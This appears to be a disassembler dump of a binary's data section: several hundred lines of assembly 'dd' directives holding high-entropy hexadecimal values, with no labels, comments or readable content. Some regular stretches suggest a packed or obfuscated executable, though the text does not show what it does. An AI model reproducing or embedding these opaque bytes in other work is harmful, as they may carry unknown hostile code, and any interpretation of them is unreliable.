		dd 907233B6h, 54C3090Ah, 81C5D056h, 36D0Fh, 1C545900h
		dd 24D2DE06h, 0A64FED39h, 49EEED32h, 5201C2A4h,	24D28A56h
		dd 0DBC07939h, 4F6D945Dh, 61EF29B8h, 0F3A2343Eh, 0A70FBFD5h
		dd 39713F49h, 1CAC123h,	0A1509533h, 29F5922Dh, 852C2FA5h
		dd 8427405Eh, 0E1C36205h, 1F01A048h, 9B10375Eh,	5234FD80h
		dd 153340F9h, 1F8EB2FFh, 98FD9439h, 9DC2F644h, 90546A88h
		dd 0C62CE381h, 225ED281h, 8210D4EAh, 1462CE3h, 0E381DF05h
		dd 0B32772Ch, 2675D849h, 58E0E2ECh, 76Bh, 0BA2FEA77h, 0E358199Fh
		dd 87D24C8h, 32A74EEDh,	5ED39617h, 9F202B1Dh, 0B84A65DAh
		dd 0C96D88FDh, 1194AF24h, 3FDBDB50h, 48C6BB29h,	0EE69B3Fh
		dd 4F31F073h, 139A33B6h, 82FF67Ah, 5C3E6526h, 9E8021C3h
		dd 0E1C36205h, 86387E7Fh, 2B173EE7h, 7775E42Ah,	0BA81C5D0h
		dd 0CA786C82h, 99DE3924h, 27C42EAh, 768C0000h, 3924D26Ah
		dd 67FBA099h, 0F017D8BAh, 0C11BBCD2h, 0E0773F48h, 8C595CF1h
		dd 1D91404Ch, 1AA1BAD8h, 9B8795Bh, 657BB3EBh, 3301807Fh
		dd 0E4E392D7h, 0F12BA041h, 8141A3B9h, 0F88A3301h, 0D584C93Dh
		dd 0B09253D6h, 7391E257h, 1F83C05Dh, 1C30839h, 0EC267032h
		dd 0A8921A1Ch, 0B4000006h, 0E2FD722Fh, 0B269B5Ah, 3853C869h
		dd 607BF0B1h, 64A51ADFh, 23C66772h, 520F93AEh, 793CC2DDh
		dd 9F46E904h, 788E2A2Ah, 3F48C76Ch, 735D35EAh, 0B64F31F0h
		dd 0F907233h, 9114C60Ch, 0CBAD74F8h, 8DC5E30Ah,	24D26D77h
		dd 15D85E39h, 38AD5CA1h, 0C5D46260h, 191B81h, 84650000h
		dd 1BEh, 469EB4ECh, 103924D3h, 4D97ADCBh, 93924D3h, 765D15C4h
		dd 3924D270h, 0BBD99A9Fh, 0C8C76A83h, 31550F05h, 0E190B794h
		dd 4905FDE5h, 0F210553Fh, 31B756D9h, 0A6CD8E70h, 0AA3A5088h
		dd 0AC330129h, 943B867h, 6D34B8D1h, 16CECA8Bh, 4033012Ah
		dd 0B5DC8523h, 0C6640706h, 12A34B0h, 0B6DD2233h, 0B5BE7BD4h
		dd 2C9C8197h, 0E72C391Fh, 261A2825h, 60E8EAECh,	5CFh, 269B46DBh
		dd 4FC46D0Bh, 7CF1B034h, 0A61BDA61h, 0D247EA8Bh, 13949F91h
		dd 24BED94Eh, 45E90479h, 6D102BA0h, 0B34F4FC4h,	48C9479Dh
		dd 825A0F3Fh, 4F31F073h, 907233B6h, 0D1B376F7h,	0FF1B038h
		dd 6E488E8Bh, 8C3E8487h, 0FBD348E9h, 81C5D4FDh,	7B6h, 0EB840000h
		dd 52000000h, 24D27176h, 0D899A039h, 0C145A4BAh, 58713F48h
		dd 0E20218CAh, 743300E4h, 0E559082Fh, 0C66982A0h, 44E8011Fh
		dd 4BFABB9Dh, 7938BBD6h, 9EFB3E97h, 0B6775904h,	0C25B718Fh
		dd 6391EE7h, 0D440FFC1h, 0C0EEC25h, 52A84h, 0F0AD3600h
		dd 19D8607Bh, 3EE789A4h, 660FAEC9h, 8C51D6F1h, 0D9E4D617h
		dd 11C9154h, 243FB461h,	4F6ADF82h, 909005ACh, 0CA06DEF4h
		dd 9B503F48h, 59F073C3h, 3E50CC9h, 3C1EC76Ah, 0C072B8BBh
		dd 0C5FF743Dh, 85670AACh, 5B5915C4h, 1481C5D4h,	7, 48845Eh
		dd 73520000h, 974F31F0h, 8534F97Eh, 0D86AE386h,	4FC1FBC7h
		dd 6D94795Ch, 2BCBCA8Bh, 0BCE3A486h, 0BDDE079Eh, 20AF5E3Ch
		dd 0E0B8F71h, 5FDEF7C8h, 44F3B496h, 0ACADA245h,	94FF9A18h
		dd 763FBEBDh, 37ACD394h, 122Dh,	0F073FB00h, 28B94F31h
		dd 153924D3h, 179A4C92h, 7305D94Eh, 0F64F31F0h,	0FA102E43h
		dd 3F48C0F7h, 6C31B6CFh, 0E60449BDh, 168B2ACDh,	0F16378FBh
		dd 3D357149h, 59B294BBh, 5F7593E0h, 3924EF25h, 770E2C71h
		dd 7A6EA5FCh, 11D3E9C1h, 452CDD4Eh, 0C2AD900h, 0A4BA70F3h
		dd 2CDD4E40h, 35AAD116h, 71F6971Ah, 9131CAACh, 1A4102E4h
		dd 39BCD5F3h, 26D59678h, 254EEB44h, 61B0F107h, 32032FBh
		dd 0C79D6A61h, 896BD3EDh, 98BF8062h, 20403D6h, 45CDCFE6h
		dd 3F3h, 42B762FFh, 6BE08127h, 9005AC50h, 0BA2FF675h, 0E65B1E9Fh
		dd 7A8B3A5h, 30D2ED62h,	71F51085h, 991C37ACh, 0C76363D8h
		dd 48CB33B1h, 966E233Fh, 0BC31F073h, 1EC76982h,	0E67C7B3Ch
		dd 0EA8D8C3Bh, 2DD0694Bh, 0AE4D6684h, 0BB3C9BB1h, 0C0E728A1h
		dd 8C6E1DDEh, 1F356D0Bh, 392523C5h, 1A9D4C91h, 0D69F22D4h
		dd 838B8961h, 0B5CE81C5h, 0C98A6C31h, 36721Ah, 0B3BC0000h
		dd 0B9CFED86h, 3F431FDFh, 447C9ADFh, 0DBF1892Bh, 33068709h
		dd 32E1084Dh, 79EEB333h, 6868161h, 2A34633h, 0B23A538Dh
		dd 0A14544F3h, 48921AFCh, 60000003h, 0CFED86B3h, 42F2C0B9h
		dd 997BC03Fh, 0D2B47D00h
		dd 3A0B514Eh, 373F0BA3h, 3AC83BE0h, 0B5DC9D7Fh,	69240138h
		dd 10BF8921h, 6D8BE851h, 0B06E40D6h, 9140A87Eh,	471C5D73h
		dd 1F643924h, 96ACFAAh,	27A4D5EBh, 19323306h, 0AD21D095h
		dd 48ED8668h, 982AC3A5h, 0C062FBDDh, 0AFB23315h, 9ABB8F69h
		dd 1A57E254h, 0BABC4FCh, 0C7C38466h, 26C9E91Dh,	2745F439h
		dd 0E8086811h, 7AFB182Ch, 9714D5B7h, 560BE85Fh,	6EE30A29h
		dd 2F11D053h, 16DF5E77h, 0C5C47334h, 330E8322h,	394F6D06h
		dd 26C92020h, 1621DF76h, 0AC53F069h, 0C96C89FDh, 891F0128h
		dd 1A8D5B57h, 372B855h,	0A05D4805h, 43BEh, 3B540800h, 5314F6BBh
		dd 4754E5A4h, 0B9D7FEBBh, 42FE62A3h, 0F3738C3Fh, 0DC8B4C2Eh
		dd 89412368h, 1713EFF2h, 9443918Dh, 6BE4898h, 81C76433h
		dd 0E3E91412h, 0CECD87h, 1AB10000h, 83D1EF99h, 0D28A3927h
		dd 4F31F073h, 4E6C31B6h, 70EDB035h, 29513AE9h, 16F8A7FFh
		dd 593BFA7Dh, 56743DC0h, 0C4EF66BFh, 6B588F3h, 607991h
		dd 0D2553925h, 0E0839E13h, 33065F41h, 0EF0A203Eh, 913F4305h
		dd 69DD74Ch, 0C8D9A3Dh,	2ED1D0BDh, 2019D887h, 0E7FD3553h
		dd 330721FDh, 47651459h, 27CE5031h, 83234039h, 0EABBA88h
		dd 0F2194B43h, 0A284F10h, 9429B9D2h, 0AC6D4F12h, 33E2A385h
		dd 79EEB334h, 5214D95Eh, 0EC28E199h, 0B8CB5355h, 0C4000001h
		dd 0F20D823Fh, 1B36AB4Ah, 4863D899h, 708B00A1h,	74B52ACFh
		dd 33F67782h, 621FA3BEh, 892CD2EDh, 0AF76F914h,	889E3A3Ah
		dd 3F48CC5Ch, 736D45FAh, 9FBA2FF2h, 0CE0551Ch, 949786B3h
		dd 679EF638h, 0D70F2D54h, 256823C1h, 3FEE3339h,	92FA0B21h
		dd 599E3F43h, 3CFFE177h, 10AD3307h, 6A5D5BCAh, 9B1687E3h
		dd 60000000h, 4F31F073h, 8A6C31B6h, 24D6E5F4h, 842DD039h
		dd 0B071F40Fh, 0AFC475CEh, 0DB7E7B91h, 3F583F42h, 5617F9B8h
		dd 0DEF733A7h, 0F3B4965Fh, 6C0EDF7h, 0FD246933h, 0E78CAD88h
		dd 6A6FB3C9h, 1E633927h, 0EAFC800h, 17865E74h, 8BD02CE6h
		dd 31B6B564h, 5BDCF76Ch, 0C11D496h, 0DBDDEC29h,	0EE53h
		dd 0AC69FA00h, 0D59C1C37h, 2A34560h, 2ACB728Dh,	50159AB5h
		dd 9DA89ADBh, 0C5E05518h, 0F00B803Dh, 1B36AB4Eh, 6464D998h
		dd 0CE32B2C8h, 6F243F48h, 2FF27397h, 551C9FBAh,	3B540CE0h
		dd 4948F7BAh, 841DFFA6h, 92240E1h, 9E5BE766h, 57D4FBBCh
		dd 3A9A1C70h, 4CC170EFh, 9EB4C871h, 39250F46h, 86A4CB10h
		dd 48FC8970h, 94B2F73Fh, 0DB5EFB7Bh, 5077381Ah,	1CFEAD6Eh
		dd 56EBE083h, 4A19B459h, 0B34A688Fh, 446ED404h,	0C75DDA41h
		dd 10FE27F6h, 548E03B2h, 48F7BA3Bh, 1DFFA649h, 5E8D1F87h
		dd 2484545h, 8F04AD50h,	0D658F174h, 0ABDE061Ch,	337820A3h
		dd 0AEC7E50Ch, 0C384660Fh, 0D18021C4h, 17D756EFh, 0A3ABE301h
		dd 72E7320h, 5096B725h,	0E55A1B9Eh, 9C7E27CAh, 4E96ACE4h
		dd 820A3ACh, 82614C3h, 8E000000h, 8130ED75h, 73A77FC9h
		dd 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h, 0AA4325C8h
		dd 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h, 13F168h
		dd 24048900h, 3DF668h, 240C8900h, 8904EC83h, 53572414h
		dd 1D1D27BBh, 5BDF892Bh, 3EF383B9h, 5FF9312Dh, 8904EC83h
		dd 4812424h, 424h, 68505A00h, 8, 89D00158h, 148B5808h
		dd 0E0895024h, 405h, 40500h, 4870000h, 0C8B5C24h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FA82A2E9h, 0E1E511FFh
		dd 0F09D6ACCh, 0DC55EBA4h, 23FC8CB8h, 0FFC50306h, 0B25CFAE0h
		dd 0AA50B749h, 0FF28D63Bh, 0A22ED55Bh, 0BB32AA3Dh, 5093640Dh
		dd 69A74232h, 0DDFA4565h, 76FE1607h, 73269D43h,	0B9F40473h
		dd 5AC50075h, 0DE86Eh, 90970000h, 0C48CD458h, 75077B5Ah
		dd 527B378Ch, 59CFB70Fh, 3810F5Eh, 66000000h, 0C681F98Bh
		dd 63F3h, 68FEB70Fh, 18CFh, 5AF98B66h, 9E9h, 0F1ED4C00h
		dd 7C2BD2E2h, 1E8B5077h, 0F381F98Bh, 5A42D278h,	81C8B70Fh
		dd 0C82485C3h, 0BE804h,	0BD890000h, 0D1C99A5Ah,	0ED889D72h
		dd 0C6D7B815h, 815801D5h, 64D57DEBh, 89E68A58h,	0F890F1Eh
		dd 0E9000000h, 0Ah, 0E7E8CA5Ch,	62C3DBE3h, 0EE83C66Dh
		dd 0E0816604h, 0F4ADB55h, 1585h, 0CBB70F00h, 20E9h, 0E319F000h
		dd 0C09DBA65h, 8E53C4F3h, 0EF815C9Ch, 0B87D6BFh, 0FFFF89E9h
		dd 0E79DFFFh, 0CAF31EF4h, 17DE9A5h, 5D600000h, 16C4FFEh
		dd 0D1D76FC2h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h
		dd 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh
		dd 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh,	0FFB2A4E5h
		dd 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h
		dd 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 77D3C20Dh, 0E91F865Ch, 102Eh
		dd 24017868h, 44E6E906h, 8468FFFBh, 0E9062402h,	0FFFB44DCh
		dd 24044268h, 44D2E906h, 3068FFFBh, 0E9062405h,	0FFFB44C8h
		dd 24065D68h, 44BEE906h, 3768FFFBh, 0E9062407h,	0FFFB44B4h
		dd 2407C868h, 44AAE906h, 4468FFFBh, 0E9062408h,	0FFFB44A0h
		dd 24099468h, 4496E906h, 3368FFFBh, 0E906240Ah,	0FFFB448Ch
		dd 240AD768h, 4482E906h, 8668FFFBh, 0E906240Bh,	0FFFB4478h
		dd 240C3568h, 446EE906h, 3A68FFFBh, 0E906240Dh,	0FFFB4464h
		dd 240E3868h, 445AE906h, 0CF9DFFFBh, 0B7A1F242h, 0B5A1F242h
		dd 0B6A3F444h, 0ADA8F949h, 0BB33FA4Ah, 0D424D382h, 0DB2BE883h
		dd 0DA2ACD8Ah, 0D828E189h, 158839B6h, 5D1AA9FBh, 0EEF31885h
		dd 0D4ADCCh, 0AB82B3AAh, 343952BFh, 0B9F2EFDh, 1B03341Ch
		dd 3B8B84E6h, 0F10E4B22h, 0E244B7A0h, 2BDD75A6h, 5108B3Ch
		dd 0A2601C8Dh, 6080314Ah, 0E01A9318h, 0BEC3C022h, 535E3C22h
		dd 92437435h, 1A92272Bh, 2D818621h, 9FC91305h, 78C35BDAh
		dd 0F8BC8FBDh, 3FC4BEC7h, 0E7E1C346h, 55C89CA1h, 4B1598D4h
		dd 3A121Ah, 0FAC50000h,	50011A0Eh, 1A93D0CCh, 69D48504h
		dd 0A91A93D0h, 223193EBh, 1A93D0BBh, 31B6ACB1h,	0E7E32A38h
		dd 0D843F493h, 181A93CCh, 0CC75E899h, 0FFBD1A93h, 0CF6E76A7h
		dd 21000000h, 62AFBBh, 0F7748ACBh, 0D4ABC41Ch, 5C447582h
		dd 64C64327h, 7ECE3B2Fh, 8DFF3E53h, 739CCE1Ch, 0AE98D223h
		dd 147693D7h, 0FF32ADD8h, 0C4821C8Dh, 360D0A6Ch, 0EA6D720h
		dd 76152E1Ah, 8DFF5AC5h, 0B44B0E1Ch, 0D91E38EFh, 0B15081h
		dd 1A93F370h, 421932F0h, 0D8AEDF28h, 8A6DE8BFh,	0ABDC1D39h
		dd 1A33E513h, 0B346C869h, 314A081Ch, 0ACFCFB5Ah, 64AFBC93h
		dd 0FEF95C33h, 52C09143h, 76C48C6Fh, 0DA9h, 9CEC2943h
		dd 0A0F00D4Bh, 0A2F2074Fh, 9FEF0851h, 0A0F0074Eh, 2D2861D9h
		dd 42297ACAh, 332475C5h, 432778C8h, 0D75476C6h,	0A9FABB26h
		dd 0B623FB1Ah, 0A5369ABBh, 5D37EB8Fh, 0B70858B0h, 0ED0656B3h
		dd 0A4229D4Eh, 0B4721C8Dh, 0EFA9483h, 8B62011Ah, 76E233E0h
		dd 1D9F5081h, 531A93D0h, 0C5A57C95h, 3CEDEA4Ch,	1A93D0C1h
		dd 0CAFB5311h, 0D06CD3E2h, 5D621A93h, 29E7E065h, 6B42E7E3h
		dd 71AD0FECh, 0CC34A758h, 0BE7C1A93h, 0BC858Dh,	0BB380000h
		dd 62123BAFh, 0E9EC396Ch, 8D92C538h, 0F74F0D1Ch, 0F34BC4A6h
		dd 9CBD9491h, 94C50163h, 0FD5F98BDh, 8D96A5EEh,	5102A11Ch
		dd 1C8D95EEh, 60376826h, 5CADFD0Ah, 0A29F010Eh,	28A6769Dh
		dd 0D001D3E6h, 3F58C038h, 9322FE8Eh, 8FC77E1Ah,	0B851196Ah
		dd 0AFE1060h, 0C454051Eh, 41CB3B0h, 7069D485h, 0EBA910B2h
		dd 0B2A37A93h, 97EF0C4Ch, 985FF647h, 538F01DDh,	16642C6Fh
		dd 0C9Dh, 88D83537h, 8CDC2137h,	8EDE1B3Bh, 93E31C3Dh, 94E41342h
		dd 391C55CDh, 4E1D6EBEh, 372071C1h, 472374C4h, 0DB587ACAh
		dd 0A9F9B72Ah, 0BA27FF1Ah, 0D5D9ABBh, 4861AEBCh, 0E213E471h
		dd 0AFBBA30Ch, 0A80AEF69h, 0B5B2146Ch, 4E7F78DEh, 0A455F377h
		dd 1C8DFB39h, 56BC14BFh, 0BB804E37h, 4355A5FDh,	994A63D5h
		dd 1A93050Fh, 16258745h, 1A92FAAFh, 2DBAA0A5h, 0E7E25434h
		dd 5C9FB88Fh, 6693C5FAh, 83D5DD0Eh, 88000000h, 11A0EFAh
		dd 93F39450h, 8B9581Ah,	1A93F395h, 0A3EE1FDDh, 2EC7CCE5h
		dd 53DC7043h, 9FAE96C7h, 1A93CE38h, 0B431292Eh,	0E7E323BBh
		dd 51ADh, 0EFA6000h, 0EC50011Ah, 241A93F6h, 0F689F4A5h
		dd 0BC91A93h, 0F6DE41F2h, 58161A93h, 5B10E700h,	0F6C33EEFh
		dd 55131A93h, 2E5F9BFDh, 0F6C03746h, 2BC61A93h,	56A3B58Ch
		dd 93F6B02Bh, 0F142001Ah, 0F6329465h, 41C6BCC5h, 0E7E34848h
		dd 233Ah, 54F3ED00h, 8DFB38A3h,	8E69EC1Ch, 742BF02Ch, 79B517E4h
		dd 0E4570821h, 2C1C8DFBh, 0B64D3D6Eh, 8, 0C14E1CF3h, 0AB0DFA70h
		dd 72A63E6Fh, 0FBE95405h, 6B291C8Dh, 0A549FA13h, 0AB1AAE04h
		dd 6DFDD4EDh, 363B54A4h, 51D57B8Bh, 5E3566DBh, 4BEA030Ch
		dd 5680FBACh, 12D01AAEh, 0AE5674E7h, 0D126301Ah, 351D4E0Ch
		dd 465FC93Fh, 0A038A2A7h, 0E94A1E00h, 489607B8h, 1CDA1C8Dh
		dd 0D13E2C03h, 7F78E1B8h, 0DAB0E11Dh, 0C628E189h, 0D7F058D0h
		dd 0D60A6138h, 147F0C11h, 74A5FDECh, 0D45E9DC3h, 1BF6DB16h
		dd 7BB5C58Eh, 0D90FCA22h, 6C757930h, 0ADF56A4h,	0F3790000h
		dd 0E375C616h, 0E175C616h, 0E277C818h, 0E174C515h, 87FFC616h
		dd 0A0F0074Eh, 9FEF1C4Fh, 9EEE094Eh, 0A4F41D4Dh, 0E9540582h
		dd 291AA9FFh, 7AE1E451h, 6D1C8DFAh, 0C3748DBBh,	1AAE043Bh
		dd 595E7735h, 7E4C344Ah, 62386953h, 14E37249h, 6BDD4BE3h
		dd 8FDCB352h, 95E62284h, 570839D6h, 1C8ADB8Fh, 0A21DCE6Dh
		dd 0F210C527h, 0F76A1B34h, 3F10C527h, 47055081h, 0F613572Eh
		dd 1F888DA6h, 0D5AFE18Ah, 3A300738h, 976E6BCDh,	54C778BEh
		dd 9C10C544h, 0E82486DEh, 3FE91FB7h, 3DB82126h,	0D481F37Eh
		dd 0E25304A3h, 0CA16E68Eh, 6D0923C5h, 88B97F0Ch, 920DBE3Dh
		dd 0E20EE1CAh, 14B3CC24h, 0AFE0193Dh, 257592D8h, 177996D4h
		dd 0E1CA9308h, 0B266928Eh, 4823FA99h, 17F07ACBh, 0F8C735E6h
		dd 470588FFh, 9E66668Ch, 95E3ABFBh, 9F1h, 0E434E18Bh, 0E838C593h
		dd 0EA3ABF97h, 0E737C099h, 0E838BF96h, 0E570A921h, 0FA71C212h
		dd 0EB6CBD0Dh, 0FB6FC010h, 1F9CBE0Eh, 0A9FEF36Eh, 0FE6B431Ah
		dd 0A8590EFAh, 1C8DFB35h, 4E67BF7Dh, 0AE05419Dh, 38510F1Ah
		dd 6394C299h, 0DB0F5B32h, 900AD390h, 1E378F54h,	0B5E62347h
		dd 33DC8EDFh, 3A2DDBD1h, 0AE1A1689h, 48A05E1Ah,	0E4747E2Fh
		dd 26E41C8Dh, 0E234360Dh, 0DA2A8275h, 0C628E189h, 6792AC9h
		dd 4E10CA1Bh, 51C75F90h, 3B937CEEh, 6FD28322h, 0A710CA1Bh
		dd 2B8D7AF0h, 0C76697EFh, 0E9E59916h, 0E2FBB916h, 62B25F0Bh
		dd 0C5D44449h, 0E4FCDB98h, 818EDCB3h, 0C4B221Fh, 0E88FB4C8h
		dd 0F64E8895h, 7FAD14C5h, 68A00EE6h, 136B90C7h,	81F949FAh
		dd 12F708C5h, 5CAC43E4h, 162F8733h, 0AEDF2C3Fh,	0D532380Fh
		dd 0D9363485h, 0D7021C0h, 450402A6h, 0DC233687h, 250D3E7Ah
		dd 256F92Fh, 0D3849DF5h, 2215B03h, 0C7667F3Dh, 329467F0h
		dd 0A650CBF6h, 0E2A0023Eh, 25D3C9B1h, 0BB29DAF3h, 0F90420A8h
		dd 6E7C803Bh, 0C99187E5h, 8C47Bh, 10E5E00h, 3F860B1h, 3F462B3h
		dd 0F762B3h, 1F65FB0h, 3972EAB1h, 3A8BDB1Ch, 3586D631h
		dd 3485D522h, 6789D936h, 0FDC639EAh, 360E1AA9h,	62AFBBC9h
		dd 0EF97249h, 573F70ACh, 5DBF4822h, 4A0DE4FDh, 8F737CADh
		dd 8EDE2B3Fh, 0BA25D675h, 0FA1C8DFBh, 0F6EF0B3Ch, 0E8EE0154h
		dd 13h,	4F4A29Bh, 0A0A50000h, 87D110E1h, 595EF372h, 5D07F627h
		dd 55C335D4h, 0DB558B3Ch, 65231A93h, 0BCB04B3h,	0CE3AC998h
		dd 0B890415Ah, 0D8C3BA3Bh, 402A011Ah, 0B1AE96C7h, 0EBE1D1ACh
		dd 0EA1B20AAh, 5972A652h, 0E42BE0A8h, 0D9F2B0C5h, 0A4A118D4h
		dd 2A5BC008h, 5515EC8Bh, 0B5B5CB95h, 9612414h, 633A6BA7h
		dd 0B0591107h, 6ABA124Eh, 0FDB85119h, 487E6809h, 0EA0E5C24h
		dd 84000007h, 8ADB2BE8h, 2 dup(88D929CEh), 85D626D1h, 10D727D0h
		dd 1F65F98h, 0B60B1h, 3F85FB0h,	0FF0862B3h, 5F108DAFh
		dd 1AA9FCFCh, 0BBEF5C34h, 0CB0062AFh, 41D6D8Ah,	9CCD2A2Dh
		dd 0B241404h
		dd 75D72434h, 896EE839h, 1BBAEB27h, 0AE05CE6Ah,	2F48061Ah
		dd 5B9CB990h, 0FA17532Ah, 0F81159AAh, 9968A096h, 59687AB6h
		dd 112A822Ch, 8DEC8A60h, 480FC61Ch, 0BD1551B3h,	749DCDA4h
		dd 7A97D324h, 8572E318h, 5BEB46CAh, 39874F6Fh, 759h, 4C9C79F3h
		dd 50A05DFBh, 52A257FFh, 4F9F5801h, 50A057FEh, 7DD81189h
		dd 92D92A7Ah, 83D42575h, 93D72878h, 87042676h, 0A9FC6BD6h
		dd 66D3AB1Ah, 11A0EFAh,	0AE059A50h, 0DFF8B61Ah,	55A56208h
		dd 0A7B06604h, 0AB680354h, 9CB50D49h, 5D14CFDh,	63211AAEh
		dd 0A4544A32h, 0BBC5B74h, 1AAE0590h, 52F122E0h,	0B01EEBA1h
		dd 0DB7E551Ch, 0EAA8F324h, 561DEB2Fh, 0A8F6BE6Fh, 6DDh
		dd 0C818F577h, 0CC1CE177h, 0CE1EDB7Bh, 0D323DC7Dh, 0D424D382h
		dd 0F95C950Dh, 0E5DAEFEh, 0F760B101h, 763B404h,	1B98BA0Ah
		dd 0A9F3F76Ah, 0FA673F1Ah, 0FF42EEF3h, 62D8657Eh, 0F7105A31h
		dd 0FD0A6095h, 0B04669Bh, 1CF774A9h, 5A4049BAh,	160C8F0Bh
		dd 43BE6F0Eh, 931C8D3Fh, 900BBCD5h, 0E01C8D3Fh,	501AF122h
		dd 4EFF9EB7h, 1C8D3FD3h, 5E346523h, 8AF5A645h, 0CA1C8D3Fh
		dd 0C6BFDB0Ch, 0B8EE0094h, 7, 2E8A26Bh,	0BB550000h, 18743BAFh
		dd 0E5CFF226h, 0C3352B8Dh, 678B3C55h, 0F11AAEC5h, 0D892E333h
		dd 5C6A9808h, 0B1092CBEh, 6394C198h, 7FB04712h,	4AFB9A97h
		dd 1AA90FD7h, 5930611Fh, 0F919D4FCh, 7D7A9483h,	0C48B364h
		dd 0CA881AA9h, 4092272h, 0A034CC48h, 4AE21398h,	14E571DEh
		dd 0D9F2A3BCh, 791C8AF1h, 0A6295C2h, 90501AF1h,	53F42910h
		dd 73A52414h, 0B57E3D96h, 0FFD6EF47h, 3C9E6Bh, 0C2A8F9CFh
		dd 0E1E6E345h, 33FB179h, 643B6CAEh, 0AEA406F1h,	16B5CE7Ah
		dd 0CB65C511h, 36B5F7CCh, 0A865753Bh, 5B0C3DD0h, 16DB1071h
		dd 80FBAC4Bh, 0D00EEAF0h, 0F03DA051h, 0B7750EEAh, 25E32E5Fh
		dd 7B0EBA6Ah, 3D8B5375h, 58Dh, 78C84527h, 7CCC3127h, 7ECE2B2Bh
		dd 83D32C2Dh, 84D42332h, 490C45BDh, 5E0D5EAEh, 471061B1h
		dd 571364B4h, 0CB486ABAh, 0A9F2A71Ah, 0AA17EF1Ah, 4962AFBBh
		dd 0FC618244h, 642A46Fh, 0BBB4C287h, 0FD6DA28Ah, 0D97DB214h
		dd 0CE89BE20h, 4D56C729h, 7DABE755h, 6E0279EDh,	23179A16h
		dd 0F00B4C23h, 4A21528Eh, 197E720h, 0EE014B08h,	10FAh
		dd 0E3F8FD00h, 40F9B5EDh, 0A2CEBDEEh, 136h, 3D1CF355h
		dd 0E4163A9Bh, 0D72F3284h, 759BCFA6h, 3BE16E3h,	6314382Bh
		dd 0EED01EE6h, 88000004h, 86D727E4h, 2 dup(84D525D2h)
		dd 89DA2AD5h, 14DB2BCCh, 5F2639Ch, 0C0764B5h, 0FEC6BBCh
		dd 13FC6EBFh, 7324A1C3h, 1AA9F108h, 0BB037048h,	30062AFh
		dd 0FB48B364h, 0CA881C8Dh, 66A8C299h, 51B30B04h, 34746EF1h
		dd 8A78E036h, 8DC92BCCh, 0F78DDD35h, 0EE0158FEh, 0DF0h
		dd 0B3A2A300h, 55000000h, 0ADA2h, 0EFA5500h, 9A50011Ah
		dd 0B61AAE04h, 8ADADFF8h, 0B9820E3Ch, 968C74A5h, 0A29CBD62h
		dd 0AE2F8EF1h, 0B008C61Ah, 0A1BA124Eh, 0B01EF4F0h, 0D38E4C1Ch
		dd 6F560965h, 4AE230F8h, 0E4000004h, 0EA3B8B88h, 2 dup(0E839896Eh)
		dd 0E5368671h, 70378770h, 6196BFF8h, 60ABC011h,	6398BF10h
		dd 5FA8C213h, 0BF70ED0Fh, 1AA9F15Ch, 0FA4FBC94h, 0FC011A0Eh
		dd 8E3F2607h, 1C8D1A13h, 726A563h, 60FF30B4h, 93AEF0AFh
		dd 0F912D01Ah, 629C3422h, 70D91E47h, 3EBB9DEEh,	0F56B96E6h
		dd 0B71A93C7h, 0B50656B3h, 0F9F658A1h, 90C13622h, 3D8A0h
		dd 0EFA5300h, 9A50011Ah, 0B61AAE04h, 949996F8h,	0CDD1C3h
		dd 254A51Ah, 265793F5h,	95AE9A8Eh, 0BF4C1FF6h, 5C1BDD8Eh
		dd 82391CB0h, 86CF20D7h, 0E45E1971h, 896F55CBh,	39B73C1h
		dd 37350000h, 1F398ADAh, 1D398ADAh, 1E3B8CDCh, 154091E1h
		dd 53CB92E2h, 6CBC3B1Ah, 73C3501Bh, 72C23522h, 70C04921h
		dd 0BD20D14Eh, 0F51AA9F0h, 54F3B01Dh, 8DFB38A3h, 1493781Ch
		dd 642CF674h, 0FA92C31Bh, 0C237210Eh, 4EA0516Ah, 21AAE2Fh
		dd 16542B44h, 1258A9F9h, 87A75FCEh, 0A9526BD6h,	6EEDAB1Ah
		dd 0E43C128Bh, 8C272CCBh, 9C978EA6h, 74FA6590h,	7C3A1AA9h
		dd 0BB6D634Bh, 5AC3748Dh, 961C8A8Ah, 4920BFD8h,	0DFB6E710h
		dd 0DD2E7E8Bh, 2C22848Dh, 164325FCh, 0AFBB364Dh, 0D78D3E57h
		dd 0A516DB2Eh, 0DE202CE7h, 25ED757Ah, 2ECD7h, 29E68600h
		dd 2BD088D9h, 2BCC8ADBh, 28CF8ADBh, 29CE87D8h, 619A12D9h
		dd 62B303F4h, 5DAEFE09h, 5CADFDFAh, 8FB1010Eh, 0F7FE6112h
		dd 5E361AA9h, 4F1CF3F1h, 0AEBC93C4h, 0E8714861h, 0C1F6DE0Fh
		dd 0FE1060A9h, 54051E0Ah, 1A93E694h, 8594F6B4h,	1A93E61Eh
		dd 9E2B0F14h, 0E7E33BA5h, 3597h, 0EFA4A00h, 0CC50011Ah
		dd 41A93D0h, 10E7E446h,	0EE51B348h, 7816C08Ah, 98176F89h
		dd 2EB942C7h, 0B5669780h, 1A93714Eh, 0CE5B3F44h, 0E7E2CAD5h
		dd 0AAC7h, 0AFBB7A00h, 0E4724962h, 0C5FAE213h, 0D0056790h
		dd 0D60B6D9Ah, 2B7B94h,	1C8DFF4Bh, 0D222EF7Bh, 0BE20E981h
		dd 0CFE850C8h, 93F3BE1Eh, 0D020DE1Ah, 0C5DE4ABEh, 0A96C7CEEh
		dd 0D63CF302h, 0DD7CAD05h, 0B3EE142Ch, 34E5641Ch, 10B29EC9h
		dd 0DAF34B09h, 47A95603h, 643BDA0Bh, 65B606F1h,	2A9546F0h
		dd 6A10B29Eh, 0BD9954ACh, 506F5369h, 1E73A88h, 0EB810000h
		dd 0DB7DCE1Eh, 0D97DCE1Eh, 0DA7FD020h, 0D97CCD1Dh, 8F07CE1Eh
		dd 0A8F8FF56h, 0A7F71457h, 0A6F60156h, 0ACFC1555h, 0E15C0D8Ah
		dd 311AA9F6h, 9ABBEC59h, 0AEBC0D5Dh, 0FAA81161h, 234210Eh
		dd 8DFBEE51h, 1068261Ch, 11A72AEh, 93D0CC50h, 0E446041Ah
		dd 93D06ED5h, 0C136221Ah, 0C82F2A5Fh, 0E8D2B766h, 0E244B7A0h
